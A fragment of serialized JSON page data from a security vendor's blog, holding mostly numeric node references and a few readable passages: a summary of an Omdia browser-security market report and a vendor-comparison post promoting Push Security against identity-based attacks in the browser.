"marks":56049,"value":39931,"nodeType":865},{},[56050],{"type":961},{"data":56052,"content":56053,"nodeType":866},{},[56054,56057,56063],{"data":56055,"marks":56056,"value":39938,"nodeType":865},{},[],{"data":56058,"content":56059,"nodeType":882},{"uri":1384},[56060],{"data":56061,"marks":56062,"value":39945,"nodeType":865},{},[],{"data":56064,"marks":56065,"value":39949,"nodeType":865},{},[],{"data":56067,"content":56068,"nodeType":866},{},[56069,56072,56078],{"data":56070,"marks":56071,"value":39956,"nodeType":865},{},[],{"data":56073,"content":56074,"nodeType":882},{"uri":39959},[56075],{"data":56076,"marks":56077,"value":315,"nodeType":865},{},[],{"data":56079,"marks":56080,"value":39967,"nodeType":865},{},[],{"data":56082,"content":56083,"nodeType":1458},{},[56084],{"data":56085,"marks":56086,"value":3604,"nodeType":865},{},[56087],{"type":961},{"data":56089,"content":56090,"nodeType":866},{},[56091],{"data":56092,"marks":56093,"value":39981,"nodeType":865},{},[],{"data":56095,"content":56096,"nodeType":866},{},[56097,56101],{"data":56098,"marks":56099,"value":39989,"nodeType":865},{},[56100],{"type":961},{"data":56102,"marks":56103,"value":39993,"nodeType":865},{},[],{"data":56105,"content":56106,"nodeType":866},{},[56107,56111],{"data":56108,"marks":56109,"value":40001,"nodeType":865},{},[56110],{"type":961},{"data":56112,"marks":56113,"value":40005,"nodeType":865},{},[],{"data":56115,"content":56116,"nodeType":866},{},[56117,56121],{"data":56118,"marks":56119,"value":40013,"nodeType":865},{},[56120],{"type":961},{"data":56122,"marks":56123,"value":40017,"nodeType":865},{},[],{"data":56125,"content":56126,"nodeType":866},{},[56127,56131],{"data":56128,"marks":56129,"value":40025,"nodeType":865},{},[56130],{"type":961},{"data":56132,"marks":56133,"value":40029,"nodeType":865},{},[],{"data":56135,"content":56136,"nodeType":866},{},[56137,56140,56146],{"data":56138,"marks":56139,"value":21,"nodeType":865},{},[],{"data":56141,"content":56142,"nodeType":882},{"uri":5481},[56143],{"data":56144,"marks":56145,"value":40042,"nodeType":865},{},[],{"data":56147,"marks":56148,"value":21,"nodeType":865},{},[],{"data":56150,"content":56151,"nodeType":1458},{},[56152],{"data":56153,"marks":56154,"value":40053,"nodeType":865},{},[56155],{"type":961},{"data":56157,"content":56158,"nodeType":866},{},[56159],{"data":56160,"marks":56161,"value":40060,"nodeType":865},{},[],{"data":56163,"content":56164,"nodeType":953},{},[],{"data":56166,"content":56167,"nodeType":866},{},[56168],{"data":56169,"marks":56170,"value":5006,"nodeType":865},{},[],{"data":56172,"content":56173,"nodeType":866},{},[56174],{"data":56175,"marks":56176,"value":1718,"nodeType":865},{},[],{"data":56178,"content":56179,"nodeType":866},{},[56180,56183,56189],{"data":56181,"marks":56182,"value":21,"nodeType":865},{},[],{"data":56184,"content":56185,"nodeType":882},{"uri":13728},[56186],{"data":56187,"marks":56188,"value":2812,"nodeType":865},{},[],{"data":56190,"marks":56191,"value":21,"nodeType":865},{},[],{"data":56193,"content":56194,"nodeType":953},{},[],{"data":56196,"content":56197,"nodeType":963},{},[56198],{"data":56199,"marks":56200,"value":40101,"nodeType":865},{},[56201],{"type":961},{"data":56203,"content":56204,"nodeType":866},{},[56205,56208,56214],{"data":56206,"marks":56207,"value":40108,"nodeType":865},{},[],{"data":56209,"content":56210,"nodeType":882},{"uri":8759},[56211],{"data":56212,"marks":56213,"value":40115,"nodeType":865},{},[],{"data":56215,"marks":56216,"value":40119,"nodeType":865},{},[],{"data":56218,"content":56219,"nodeType":2396},{},[56220,56263,56319,56362,56405],{"data":56221,"content":56222,"nodeType":1869},{},[56223,56233,56243,56253],{"data":56224,"content":56225,"nodeType":1835},{},[56226],{"data":56227,"content":56228,"nodeType":866},{},[56229],{"data":56230,"marks":56231,"value":40136,"nodeType":865},{},[56232],{"type":961},{"data":56234,"content":56235,"nodeType":1835},{},[56236],{"data":56237,"content":56238,"nodeType":866},{},[56239],{"data":56240,"marks":56241,"value":40147,"nodeType":865},{},[56242],{"type":961},{"data":56244,"content":56245,"nodeType":1835},{},[56246],{"data":56247,"content":56248,"nodeType":866},{},[56249],{"data":56250,"marks":56251,"value":40158,"nodeType":865},{},[56252],{"type":961},{"data":56254,"content":56255,"nodeType":1835},{},[56256],{"data":56257,"content":56258,"nodeType":866},{},[56259],{"data":56260,"marks":56261,"value":40169,"nodeType":865},{},[56262],{"type":961},{"data":56264,"content":56265,"nodeType":1869},{},[56266,56286,56295,56304],{"data":56267,"content":56268,"nodeType":1835},{},[56269],{"data":56270,"content":56271,"nodeType":866},{},[56272,56276,56279,56283],{"data":56273,"marks":56274,"value":40183,"nodeType":865},{},[56275],{"type":961},{"data":56277,"marks":56278,"value":40187,"nodeType":865},{},[],{"data":56280,"marks":56281,"value":40192,"nodeType":865},{},[56282],{"type":961},{"data":56284,"marks":56285,"value":40196,"nodeType":865},{},[],{"data":56287,"content":56288,"nodeType":1835},{},[56289],{"data":56290,"content":56291,"nodeType":866},{},[56292],{"data":56293,"marks":56294,"value":40206,"nodeType":865},{},[],{"data":56296,"content":56297,"nodeType":1835},{},[56298],{"data":56299,"content":56300,"nodeType":866},{},[56301],{"data":56302,"marks":56303,"value":40216,"nodeType":865},{},[],{"data":56305,"content":56306,"nodeType":1835},{},[56307,56313],{"data":56308,"content":56309,"nodeType":866},{},[56310],{"data":56311,"marks":56312,"value":40226,"nodeType":865},{},[],{"data":56314,"content":56315,"nodeType":866},{},[56316],{"data":56317,"marks":56318,"value":40233,"nodeType":865},{},[],{"data":56320,"content":56321,"nodeType":1869},{},[56322,56335,56344,56353],{"data":56323,"content":56324,"nodeType":1835},{},[56325],{"data":56326,"content":56327,"nodeType":866},{},[56328,56332],{"data":56329,"marks":56330,"value":40247,"nodeType":865},{},[56331],{"type":961},{"data":56333,"marks":56334,"value":40251,"nodeType":865},{},[],{"data":56336,"content":56337,"nodeType":1835},{},[56338],{"data":56339,"content":56340,"nodeType":866},{},[56341],{"data":56342,"marks":56343,"value":40261,"nodeType":865},{},[],{"data":56345,"content":56346,"nodeType":1835},{},[56347],{"data":56348,"content":56349,"nodeType":866},{},[56350],{"data":56351,"marks":56352,"value":40271,"nodeType":865},{},[],{"data":56354,"content":56355,"nodeType":1835},{},[56356],{"data":56357,"content":56358,"nodeType":866},{},[56359],{"data":56360,"marks":56361,"value":40281,"nodeType":865},{},[],{"data":56363,"content":56364,"nodeType":1869},{},[56365,56378,56387,56396],{"data":56366,"content":56367,"nodeType":1835},{},[56368],{"data":56369,"content":56370,"nodeType":866},{},[56371,56375],{"data":56372,"marks":56373,"value":40295,"nodeType":865},{},[56374],{"type":961},{"data":56376,"marks":56377,"value":40299,"nodeType":865},{},[],{"data":56379,"content":56380,"nodeType":1835},{},[56381],{"data":56382,"content":56383,"nodeType":866},{},[56384],{"data":56385,"marks":56386,"value":40309,"nodeType":865},{},[],{"data":56388,"content":56389,"nodeType":1835},{},[56390],{"data":56391,"content":56392,"nodeType":866},{},[56393],{"data":56394,"marks":56395,"value":40319,"nodeType":865},{},[],{"data":56397,"content":56398,"nodeType":1835},{},[56399],{"data":56400,"content":56401,"nodeType":866},{},[56402],{"data":56403,"marks":56404,"value":40329,"nodeType":865},{},[],{"data":56406,"content":56407,"nodeType":1869},{},[56408,56421,56430,56439],{"data":56409,"content":56410,"nodeType":1835},{},[56411],{"data":56412,"content":56413,"nodeType":866},{},[56414,56418],{"data":56415,"marks":56416,"value":40343,"nodeType":865},{},[56417],{"type":961},{"data":56419,"marks":56420,"value":40347,"nodeType":865},{},[],{"data":56422,"content":56423,"nodeType":1835},{},[56424],{"data":56425,"content":56426,"nodeType":866},{},[56427],{"data":56428,"marks":56429,"value":40206,"nodeType":865},{},[],{"data":56431,"content":56432,"nodeType":1835},{},[56433],{"data":56434,"content":56435,"nodeType":866},{},[56436],{"data":56437,"marks":56438,"value":40366,"nodeType":865},{},[],{"data":56440,"content":56441,"nodeType":1835},{},[56442],{"data":56443,"content":56444,"nodeType":866},{},[56445],{"data":56446,"marks":56447,"value":40376,"nodeType":865},{},[],{"data":56449,"content":56450,"nodeType":866},{},[56451],{"data":56452,"marks":56453,"value":21,"nodeType":865},{},[],{"items":56455},[56456,56458],{"sys":56457,"name":11426},{"id":11425},{"sys":56459,"name":342},{"id":8410},{"items":56461},[56462],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":56463},{"url":11434},"blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market",{"json":56466},{"data":56467,"content":56468,"nodeType":1739},{},[56469],{"data":56470,"content":56471,"nodeType":866},{},[56472],{"data":56473,"marks":56474,"value":56475,"nodeType":865},{},[],"New research from Omdia has put hard numbers behind something security teams have been feeling for the past two years: the browser has become the primary attack surface in the enterprise, organizations are investing accordingly, and the results are already measurable.",{"id":41017,"publishedAt":56477},"2026-08-12T11:52:51.573Z",{"items":56479},[56480,56482],{"sys":56481,"name":297},{"id":2828},{"sys":56483,"name":2825},{"id":2824},{"items":56485},[56486,56488,56490,56492,56494,56496,56498,56500,56502,56504,56506,56508,56510,56512,56514,56516,56518,56520,56522],{"sys":56487,"name":297,"slug":298,"tier":31},{"id":294},{"sys":56489,"name":642,"slug":643,"tier":31},{"id":639},{"sys":56491,"name":279,"slug":280,"tier":31},{"id":276},{"sys":56493,"name":519,"slug":520,"tier":31},{"id":516},{"sys":56495,"name":413,"slug":414,"tier":31},{"id":410},{"sys":56497,"name":235,"slug":236,"tier":31},{"id":232},{"sys":56499,"name":386,"slug":387,"tier":45},{"id":383},{"sys":56501,"name":580,"slug":581,"tier":45},{"id":577},{"sys":56503,"name":261,"slug":262,"tier":45},{"id":258},{"sys":56505,"name":324,"slug":325,"tier":45},{"id":321},{"sys":56507,"name":571,"slug":572,"tier":45},{"id":568},{"sys":56509,"name":288,"slug":289,"tier":45},{"id":285},{"sys":56511,"name":368,"slug":369,"tier":45},{"id":365},{"sys":56513,"name":315,"slug":316,"tier":45},{"id":312},{"sys":56515,"name":360,"slug":361,"tier":45},{"id":357},{"sys":56517,"name":252,"slug":253,"tier":45},{"id":249},{"sys":56519,"name":511,"slug":512,"tier":45},{"id":508},{"sys":56521,"name":624,"slug":625,"tier":45},{"id":621},{"sys":56523,"name":244,"slug":245,"tier":45},{"id":241},"R6qLSR-i1d8ltg2tNiiwocbWu7Y3b4pT4C_MTKlUwec",{"id":56526,"title":36303,"authorsCollection":56527,"content":56532,"extension":228,"faqItemsCollection":57304,"faqTitle":59,"featured":6,"hashTags":59,"meta":57306,"metaTitle":57307,"ogImage":59,"postType":1783,"publishedDate":36305,"relatedBlogPostsCollection":57308,"slug":36306,"stem":59405,"subtitle":59,"summary":59406,"synopsis":36304,"sys":59417,"tagsCollection":59419,"topicsCollection":59425,"__hash__":59473},"blog/blog/how-to-avoid-the-browser-security-buyers-trap.json",{"items":56528},[56529],{"fullName":5029,"firstName":5030,"jobTitle":3776,"socialLinks":56530,"profilePicture":56531},[25179],{"url":5032},{"json":56533,"links":57192},{"data":56534,"content":56535,"nodeType":1739},{},[56536,56541,56547,56553,56559,56562,56569,56575,56585,56595,56600,56606,56609,56616,56622,56627,56633,56639,56732,56738,56741,56748,56754,56809,56822,56827,56833,56836,56843,56849,56856,56862,56868,56893,56899,56906,56912,56918,56924,56931,56937,56943,56949,56952,56959,56969,56975,56981,56988,56994,57000,57007,57013,57068,57081,57096,57103,57109,57116,57122,57128,57134,57139,57146,57152,57158,57163,57169,57175,57181,57186],{"data":56537,"content":56540,"nodeType":925},{"target":56538},{"sys":56539},{"id":35547,"type":922,"linkType":923},[],{"data":56542,"content":56543,"nodeType":866},{},[56544],{"data":56545,"marks":56546,"value":35555,"nodeType":865},{},[],{"data":56548,"content":56549,"nodeType":866},{},[56550],{"data":56551,"marks":56552,"value":35562,"nodeType":865},{},[],{"data":56554,"content":56555,"nodeType":866},{},[56556],{"data":56557,"marks":56558,"value":35569,"nodeType":865},{},[],{"data":56560,"content":56561,"nodeType":953},{},[],{"data":56563,"content":56564,"nodeType":963},{},[56565],{"data":56566,"marks":56567,"value":35580,"nodeType":865},{},[56568],{"type":961},{"data":56570,"content":56571,"nodeType":866},{},[56572],{"data":56573,"marks":56574,"value":35587,"nodeType":865},{},[],{"data":56576,"content":56577,"nodeType":866},{},[56578,56582],{"data":56579,"marks":56580,"value":35595,"nodeType":865},{},[56581],{"type":961},{"data":56583,"marks":56584,"value":35599,"nodeType":865},{},[],{"data":56586,"content":56587,"nodeType":866},{},[56588,56592],{"data":56589,"marks":56590,"value":35607,"nodeType":865},{},[56591],{"type":961},{"data":56593,"marks":56594,"value":35611,"nodeType":865},{},[],{"data":56596,"content":56599,"nodeType":925},{"target":56597},{"sys":56598},{"id":19097,"type":922,"linkType":923},[],{"data":56601,"content":56602,"nodeType":866},{},[56603],{"data":56604,"marks":56605,"value":35623,"nodeType":865},{},[],{"data":56607,"content":56608,"nodeType":953},{},[],{"data":56610,"content":56611,"nodeType":963},{},[56612],{"data":56613,"marks":56614,"value":35634,"nodeType":865},{},[56615],{"type":961},{"data":56617,"content":56618,"nodeType":866},{},[56619],{"data":56620,"marks":56621,"value":35641,"nodeType":865},{},[],{"data":56623,"content":56626,"nodeType":925},{"target":56624},{"sys":56625},{"id":35646,"type":922,"linkType":923},[],{"data":56628,"content":56629,"nodeType":866},{},[56630],{"data":56631,"marks":56632,"value":35654,"nodeType":865},{},[],{"data":56634,"content":56635,"nodeType":866},{},[56636],{"data":56637,"marks":56638,"value":35661,"nodeType":865},{},[],{"data":56640,"content":56641,"nodeType":1049},{},[56642,56658,56674,56690,56706,56719],{"data":56643,"content":56644,"nodeType":1003},{},[56645],{"data":56646,"content":56647,"nodeType":866},{},[56648,56651,56655],{"data":56649,"marks":56650,"value":35674,"nodeType":865},{},[],{"data":56652,"marks":56653,"value":35067,"nodeType":865},{},[56654],{"type":961},{"data":56656,"marks":56657,"value":35682,"nodeType":865},{},[],{"data":56659,"content":56660,"nodeType":1003},{},[56661],{"data":56662,"content":56663,"nodeType":866},{},[56664,56667,56671],{"data":56665,"marks":56666,"value":35692,"nodeType":865},{},[],{"data":56668,"marks":56669,"value":35697,"nodeType":865},{},[56670],{"type":961},{"data":56672,"marks":56673,"value":35701,"nodeType":865},{},[],{"data":56675,"content":56676,"nodeType":1003},{},[56677],{"data":56678,"content":56679,"nodeType":866},{},[56680,56683,56687],{"data":56681,"marks":56682,"value":35711,"nodeType":865},{},[],{"data":56684,"marks":56685,"value":35716,"nodeType":865},{},[56686],{"type":961},{"data":56688,"marks":56689,"value":35720,"nodeType":865},{},[],{"data":56691,"content":56692,"nodeType":1003},{},[56693],{"data":56694,"content":56695,"nodeType":866},{},[56696,56699,56703],{"data":56697,"marks":56698,"value":35730,"nodeType":865},{},[],{"data":56700,"marks":56701,"value":35735,"nodeType":865},{},[56702],{"type":961},{"data":56704,"marks":56705,"value":35739,"nodeType":865},{},[],{"data":56707,"content":56708,"nodeType":1003},{},[56709],{"data":56710,"content":56711,"nodeType":866},{},[56712,56716],{"data":56713,"marks":56714,"value":8525,"nodeType":865},{},[56715],{"type":961},{"data":56717,"marks":56718,"value":35753,"nodeType":865},{},[],{"data":56720,"content":56721,"nodeType":1003},{},[56722],{"data":56723,"content":56724,"nodeType":866},{},[56725,56729],{"data":56726,"marks":56727,"value":35764,"nodeType":865},{},[56728],{"type":961},{"data":56730,"marks":56731,"value":35768,"nodeType":865},{},[],{"data":56733,"content":56734,"nodeType":866},{},[56735],{"data":56736,"marks":56737,"value":35775,"nodeType":865},{},[],{"data":56739,"content":56740,"nodeType":953},{},[],{"data":56742,"content":56743,"nodeType":1458},{},[56744],{"data":56745,"marks":56746,"value":35786,"nodeType":865},{},[56747],{"type":961},{"data":56749,"content":56750,"nodeType":866},{},[56751],{"data":56752,"marks":56753,"value":35793,"nodeType":865},{},[],{"data":56755,"content":56756,"nodeType":1049},{},[56757,56770,56783,56796],{"data":56758,"content":56759,"nodeType":1003},{},[56760],{"data":56761,"content":56762,"nodeType":866},{},[56763,56766],{"data":56764,"marks":56765,"value":35806,"nodeType":865},{},[],{"data":56767,"marks":56768,"value":35811,"nodeType":865},{},[56769],{"type":961},{"data":56771,"content":56772,"nodeType":1003},{},[56773],{"data":56774,"content":56775,"nodeType":866},{},[56776,56779],{"data":56777,"marks":56778,"value":35821,"nodeType":865},{},[],{"data":56780,"marks":56781,"value":35826,"nodeType":865},{},[56782],{"type":961},{"data":56784,"content":56785,"nodeType":1003},{},[56786],{"data":56787,"content":56788,"nodeType":866},{},[56789,56792],{"data":56790,"marks":56791,"value":35836,"nodeType":865},{},[],{"data":56793,"marks":56794,"value":35841,"nodeType":865},{},[56795],{"type":961},{"data":56797,"content":56798,"nodeType":1003},{},[56799],{"data":56800,"content":56801,"nodeType":866},{},[56802,56805],{"data":56803,"marks":56804,"value":35851,"nodeType":865},{},[],{"data":56806,"marks":56807,"value":35856,"nodeType":865},{},[56808],{"type":961},{"data":56810,"content":56811,"nodeType":866},{},[56812,56815,56819],{"data":56813,"marks":56814,"value":35863,"nodeType":865},{},[],{"data":56816,"marks":56817,"value":35868,"nodeType":865},{},[56818],{"type":961},{"data":56820,"marks":56821,"value":35872,"nodeType":865},{},[],{"data":56823,"content":56826,"nodeType":925},{"target":56824},{"sys":56825},{"id":35877,"type":922,"linkType":923},[],{"data":56828,"content":56829,"nodeType":866},{},[56830],{"data":56831,"marks":56832,"value":35885,"nodeType":865},{},[],{"data":56834,"content":56835,"nodeType":953},{},[],{"data":56837,"content":56838,"nodeType":963},{},[56839],{"data":56840,"marks":56841,"value":35896,"nodeType":865},{},[56842],{"type":961},{"data":56844,"content":56845,"nodeType":866},{},[56846],{"data":56847,"marks":56848,"value":35903,"nodeType":865},{},[],{"data":56850,"content":56851,"nodeType":1458},{},[56852],{"data":56853,"marks":56854,"value":35911,"nodeType":865},{},[56855],{"type":961},{"data":56857,"content":56858,"nodeType":866},{},[56859],{"data":56860,"marks":56861,"value":35918,"nodeType":865},{},[],{"data":56863,"content":56864,"nodeType":866},{},[56865],{"data":56866,"marks":56867,"value":35925,"nodeType":865},{},[],{"data":56869,"content":56870,"nodeType":866},{},[56871,56874,56880,56883,56890],{"data":56872,"marks":56873,"value":35932,"nodeType":865},{},[],{"data":56875,"content":56876,"nodeType":882},{"uri":4378},[56877],{"data":56878,"marks":56879,"value":35939,"nodeType":865},{},[],{"data":56881,"marks":56882,"value":35943,"nodeType":865},{},[],{"data":56884,"content":56885,"nodeType":882},{"uri":35946},[56886],{"data":56887,"marks":56888,"value":35952,"nodeType":865},{},[56889],{"type":997},{"data":56891,"marks":56892,"value":35956,"nodeType":865},{},[],{"data":56894,"content":56895,"nodeType":866},{},[56896],{"data":56897,"marks":56898,"value":35963,"nodeType":865},{},[],{"data":56900,"content":56901,"nodeType":1458},{},[56902],{"data":56903,"marks":56904,"value":35971,"nodeType":865},{},[56905],{"type":961},{"data":56907,"content":56908,"nodeType":866},{},[56909],{"data":56910,"marks":56911,"value":35978,"nodeType":865},{},[],{"data":56913,"content":56914,"nodeType":866},{},[56915],{"data":56916,"marks":56917,"value":35985,"nodeType":865},{},[],{"data":56919,"content":56920,"nodeType":866},{},[56921],{"data":56922,"marks":56923,"value":35992,"nodeType":865},{},[],{"data":56925,"content":56926,"nodeType":1458},{},[56927],{"data":56928,"marks":56929,"value":36000,"nodeType":865},{},[56930],{"type":961},{"data":56932,"content":56933,"nodeType":866},{},[56934],{"data":56935,"marks":56936,"value":36007,"nodeType":865},{},[],{"data":56938,"content":56939,"nodeType":866},{},[56940],{"data":56941,"marks":56942,"value":36014,"nodeType":865},{},[],{"data":56944,"content":56945,"nodeType":866},{},[56946],{"data":56947,"marks":56948,"value":36021,"nodeType":865},{},[],{"data":56950,"content":56951,"nodeType":953},{},[],{"data":56953,"content":56954,"nodeType":963},{},[56955],{"data":56956,"marks":56957,"value":36032,"nodeType":865},{},[56958],{"type":961},{"data":56960,"content":56961,"nodeType":866},{},[56962,56966],{"data":56963,"marks":56964,"value":36040,"nodeType":865},{},[56965],{"type":961},{"data":56967,"marks":56968,"value":36044,"nodeType":865},{},[],{"data":56970,"content":56971,"nodeType":866},{},[56972],{"data":56973,"marks":56974,"value":36051,"nodeType":865},{},[],{"data":56976,"content":56977,"nodeType":866},{},[56978],{"data":56979,"marks":56980,"value":36058,"nodeType":865},{},[],{"data":56982,"content":56983,"nodeType":1458},{},[56984],{"data":56985,"marks":56986,"value":36066,"nodeType":865},{},[56987],{"type":961},{"data":56989,"content":56990,"nodeType":866},{},[56991],{"data":56992,"marks":56993,"value":36073,"nodeType":865},{},[],{"data":56995,"content":56996,"nodeType":866},{},[56997],{"data":56998,"marks":56999,"value":36080,"nodeType":865},{},[],{"data":57001,"content":57002,"nodeType":1458},{},[57003],{"data":57004,"marks":57005,"value":36088,"nodeType":865},{},[57006],{"type":961},{"data":57008,"content":57009,"nodeType":866},{},[57010],{"data":57011,"marks":57012,"value":36095,"nodeType":865},{},[],{"data":57014,"content":57015,"nodeType":1049},{},[57016,57029,57042,57055],{"data":57017,"content":57018,"nodeType":1003},{},[57019],{"data":57020,"content":57021,"nodeType":866},{},[57022,57026],{"data":57023,"marks":57024,"value":36109,"nodeType":865},{},[57025],{"type":961},{"data":57027,"marks":57028,"value":36113,"nodeType":865},{},[],{"data":57030,"content":57031,"nodeType":1003},{},[57032],{"data":57033,"content":57034,"nodeType":866},{},[57035,57039],{"data":57036,"marks":57037,"value":36124,"nodeType":865},{},[57038],{"type":961},{"data":57040,"marks":57041,"value":36128,"nodeType":865},{},[],{"data":57043,"content":57044,"nodeType":1003},{},[57045],{"data":57046,"content":57047,"nodeType":866},{},[57048,57052],{"data":57049,"marks":57050,"value":36139,"nodeType":865},{},[57051],{"type":961},{"data":57053,"marks":57054,"value":36143,"nodeType":865},{},[],{"data":57056,"content":57057,"nodeType":1003},{},[57058],{"data":57059,"content":57060,"nodeType":866},{},[57061,57065],{"data":57062,"marks":57063,"value":36154,"nodeType":865},{},[57064],{"type":961},{"data":57066,"marks":57067,"value":36158,"nodeType":865},{},[],{"data":57069,"content":57070,"nodeType":866},{},[57071,57074,57078],{"data":57072,"marks":57073,"value":36165,"nodeType":865},{},[],{"data":57075,"marks":57076,"value":36170,"nodeType":865},{},[57077],{"type":961},{"data":57079,"marks":57080,"value":36174,"nodeType":865},{},[],{"data":57082,"content":57083,"nodeType":866},{},[57084,57087,57093],{"data":57085,"marks":57086,"value":36181,"nodeType":865},{},[],{"data":57088,"content":57089,"nodeType":882},{"uri":1335},[57090],{"data":57091,"marks":57092,"value":36188,"nodeType":865},{},[],{"data":57094,"marks":57095,"value":36192,"nodeType":865},{},[],{"data":57097,"content":57098,"nodeType":1458},{},[57099],{"data":57100,"marks":57101,"value":36200,"nodeType":865},{},[57102],{"type":961},{"data":57104,"content":57105,"nodeType":866},{},[57106],{"data":57107,"marks":57108,"value":36207,"nodeType":865},{},[],{"data":57110,"content":57111,"nodeType":866},{},[57112],{"data":57113,"marks":57114,"value":36215,"nodeType":865},{},[57115],{"type":961},{"data":57117,"content":57118,"nodeType":866},{},[57119],{"data":57120,"marks":57121,"value":36222,"nodeType":865},{},[],{"data":57123,"content":57124,"nodeType":866},{},[57125],{"data":57126,"marks":57127,"value":36229,"nodeType":865},{},[],{"data":57129,"content":57130,"nodeType":866},{},[57131],{"data":57132,"marks":57133,"value":36236,"nodeType":865},{},[],{"data":57135,"content":57138,"nodeType":925},{"target":57136},{"sys":57137},{"id":36241,"type":922,"linkType":923},[],{"data":57140,"content":57141,"nodeType":1458},{},[57142],{"data":57143,"marks":57144,"value":36250,"nodeType":865},{},[57145],{"type":961},{"data":57147,"content":57148,"nodeType":866},{},[57149],{"data":57150,"marks":57151,"value":36257,"nodeType":865},{},[],{"data":57153,"content":57154,"nodeType":866},{},[57155],{"data":57156,"marks":57157,"value":36264,"nodeType":865},{},[],{"data":57159,"content":57162,"nodeType":925},{"target":57160},{"sys":57161},{"id":26830,"type":922,"linkType":923},[],{"data":57164,"content":57165,"nodeType":866},{},[57166],{"data":57167,"marks":57168,"value":36276,"nodeType":865},{},[],{"data":57170,"content":57171,"nodeType":866},{},[57172],{"data":57173,"marks":57174,"value":36283,"nodeType":865},{},[],{"data":57176,"content":57177,"nodeType":866},{},[57178],{"data":57179,"marks":57180,"value":36290,"nodeType":865},{},[],{"data":57182,"content":57185,"nodeType":925},{"target":57183},{"sys":57184},{"id":36295,"type":922,"linkType":923},[],{"data":57187,"content":57188,"nodeType":866},{},[57189],{"data":57190,"marks":57191,"value":21,"nodeType":865},{},[],{"entries":57193},{"hyperlink":57194,"inline":57195,"block":57196},[],[],[57197,57222,57224,57260,57283,57297,57300],{"sys":57198,"__typename":9270,"content":57199,"name":57221,"title":59},{"id":35547},{"json":57200},{"nodeType":1739,"data":57201,"content":57202},{},[57203,57215],{"nodeType":866,"data":57204,"content":57205},{},[57206,57211],{"nodeType":865,"value":57207,"marks":57208,"data":57210},"TL;DR:",[57209],{"type":961},{},{"nodeType":865,"value":57212,"marks":57213,"data":57214}," Not all browser security investments address the same threat. Seraphic (Crowdstrike) focuses on browser exploitation, SquareX (ZScaler) on malware sandboxing, LayerX on internal governance. None of these address the attacks that are actually causing the most damaging breaches today: identity theft, credential abuse, and session hijacking that play out entirely inside the browser using legitimate authentication flows. Push Security is built specifically for that threat model — delivering the greatest coverage against the most damaging attacks, without the user friction, operational management burden, or stability risks associated with other solutions.",[],{},{"nodeType":866,"data":57216,"content":57217},{},[57218],{"nodeType":865,"value":23064,"marks":57219,"data":57220},[],{},"Browser security buyer's trap IB1",{"sys":57223,"__typename":5631,"type":5632,"ctaText":54442,"buttonLabel":54443,"buttonColour":5635,"buttonUrl":5636},{"id":19097},{"sys":57225,"__typename":9270,"content":57226,"name":57259,"title":59},{"id":35646},{"json":57227},{"data":57228,"content":57229,"nodeType":1739},{},[57230],{"data":57231,"content":57232,"nodeType":866},{},[57233,57237,57244,57247,57255],{"data":57234,"marks":57235,"value":57236,"nodeType":865},{},[],"You can read about ",{"data":57238,"content":57239,"nodeType":882},{"uri":8759},[57240],{"data":57241,"marks":57242,"value":19437,"nodeType":865},{},[57243],{"type":997},{"data":57245,"marks":57246,"value":8756,"nodeType":865},{},[],{"data":57248,"content":57249,"nodeType":882},{"uri":4236},[57250],{"data":57251,"marks":57252,"value":57254,"nodeType":865},{},[57253],{"type":997},"ShinyHunters’ 2026 campaigns and TTPs",{"data":57256,"marks":57257,"value":57258,"nodeType":865},{},[]," in our dedicated blog posts. ","Browser security buyer's trap IB2",{"sys":57261,"__typename":9270,"content":57262,"name":57282,"title":59},{"id":35877},{"json":57263},{"data":57264,"content":57265,"nodeType":1739},{},[57266],{"data":57267,"content":57268,"nodeType":866},{},[57269,57273,57278],{"data":57270,"marks":57271,"value":57272,"nodeType":865},{},[],"It's worth heading off the obvious counterargument: ",{"data":57274,"marks":57275,"value":57277,"nodeType":865},{},[57276],{"type":961},"won't AI-assisted vulnerability discovery eventually make browser exploits cheaper? ",{"data":57279,"marks":57280,"value":57281,"nodeType":865},{},[],"Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development. ","Browser security buyer's trap IB3",{"sys":57284,"__typename":9270,"content":57285,"name":57296,"title":59},{"id":36241},{"json":57286},{"nodeType":1739,"data":57287,"content":57288},{},[57289],{"nodeType":866,"data":57290,"content":57291},{},[57292],{"nodeType":865,"value":57293,"marks":57294,"data":57295},"Solutions optimized for browser exploitation are defending against a shrinking attack category. Browser vendors are very good at closing those vulnerabilities, quickly. The ROI trajectory points the wrong way.",[],{},"Browser security buyer's trap IB4",{"sys":57298,"__typename":1747,"title":34930,"caption":34931,"layoutMode":59,"file":57299},{"id":26830},{"url":34933,"width":34934,"height":34935},{"sys":57301,"__typename":5631,"type":5632,"ctaText":57302,"buttonLabel":57303,"buttonColour":5635,"buttonUrl":13728},{"id":36295},"Ready to learn more about Push? Book a demo with one of our team. ","Book a Demo",{"items":57305},[],{},"Solving for attacks that happen in, not on the browser",{"items":57309},[57310,58130,58963],{"__typename":1788,"sys":57311,"content":57312,"title":16221,"synopsis":16222,"hashTags":59,"publishedDate":16223,"slug":16224,"tagsCollection":58120,"authorsCollection":58126},{"id":15283},{"json":57313},{"data":57314,"content":57315,"nodeType":1739},{},[57316,57322,57339,57349,57355,57362,57368,57388,57394,57400,57406,57416,57421,57424,57431,57444,57461,57557,57562,57568,57573,57580,57586,57596,57602,57607,57613,57633,57639,57645,57650,57653,57660,57666,57673,57679,57692,57698,57704,57711,57717,57723,57730,57736,57742,57745,57752,57758,57765,57771,57777,57783,57789,57796,57802,57829,57835,57841,57846,57852,57859,57865,57933,57938,57945,57958,57964,57969,57975,57988,57991,57998,58004,58010,58015,58021,58060,58066,58072,58078,58083,58086,58093,58099,58105],{"data":57317,"content":57318,"nodeType":866},{},[57319],{"data":57320,"marks":57321,"value":15294,"nodeType":865},{},[],{"data":57323,"content":57324,"nodeType":866},{},[57325,57328,57336],{"data":57326,"marks":57327,"value":15301,"nodeType":865},{},[],{"data":57329,"content":57332,"nodeType":15311},{"target":57330},{"sys":57331},{"id":15306,"type":922,"linkType":923},[57333],{"data":57334,"marks":57335,"value":441,"nodeType":865},{},[],{"data":57337,"marks":57338,"value":15315,"nodeType":865},{},[],{"data":57340,"content":57341,"nodeType":866},{},[57342,57345],{"data":57343,"marks":57344,"value":15322,"nodeType":865},{},[],{"data":57346,"marks":57347,"value":15327,"nodeType":865},{},[57348],{"type":944},{"data":57350,"content":57351,"nodeType":866},{},[57352],{"data":57353,"marks":57354,"value":15334,"nodeType":865},{},[],{"data":57356,"content":57357,"nodeType":866},{},[57358],{"data":57359